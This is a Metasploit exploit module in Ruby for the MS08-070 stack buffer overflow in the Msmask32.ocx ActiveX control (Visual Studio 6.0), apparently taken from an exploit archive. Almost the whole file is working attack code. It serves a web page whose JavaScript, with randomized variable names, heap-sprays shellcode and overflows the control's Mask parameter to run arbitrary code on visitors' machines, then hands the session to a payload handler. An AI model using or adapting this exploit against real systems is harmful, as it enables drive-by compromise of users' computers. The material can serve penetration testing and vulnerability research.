Microsoft Visual Studio – Msmask32.ocx ActiveX Buffer Overflow (MS08-070) (Metasploit)
## # $Id: ms08_070_visual_studio_msmask.rb 11127 2010-11-24 19:35:38Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0. When passing a specially crafted string to the Mask parameter of the Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'koshi', 'MC' ], 'Version' => '$Revision: 11127 $', 'References' => [ [ 'CVE', '2008-3704' ], [ 'OSVDB', '47475' ], [ 'BID', '30674' ], [ 'MSB', 'MS08-070' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Aug 13 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) rand9 = rand_text_alpha(rand(100) + 1) rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <script language="javascript"> var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="'; var #{rand2}='"></object>'; var #{rand3} = ''; for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");} var #{rand4} = unescape("#{shellcode}"); var #{rand5} = (#{rand4}.length * 2); var #{rand6} = unescape("#{nops}"); var #{rand7} = 0x0c0c0c0c; var #{rand8} = 0x100000; var #{rand9} = #{rand8} - (#{rand5} + 1); var #{rand10} = (#{rand7}+#{rand8})/#{rand8}; var #{rand11} = new Array(); while (#{rand6}.length*2<#{rand9}) { #{rand6} += #{rand6}; } #{rand6} = #{rand6}.substring(0,#{rand9}/2); for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++) { #{rand11}[#{var_i}] = #{rand6} + #{rand4}; } document.write(#{rand1}+#{rand3}+#{rand2}); </script> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |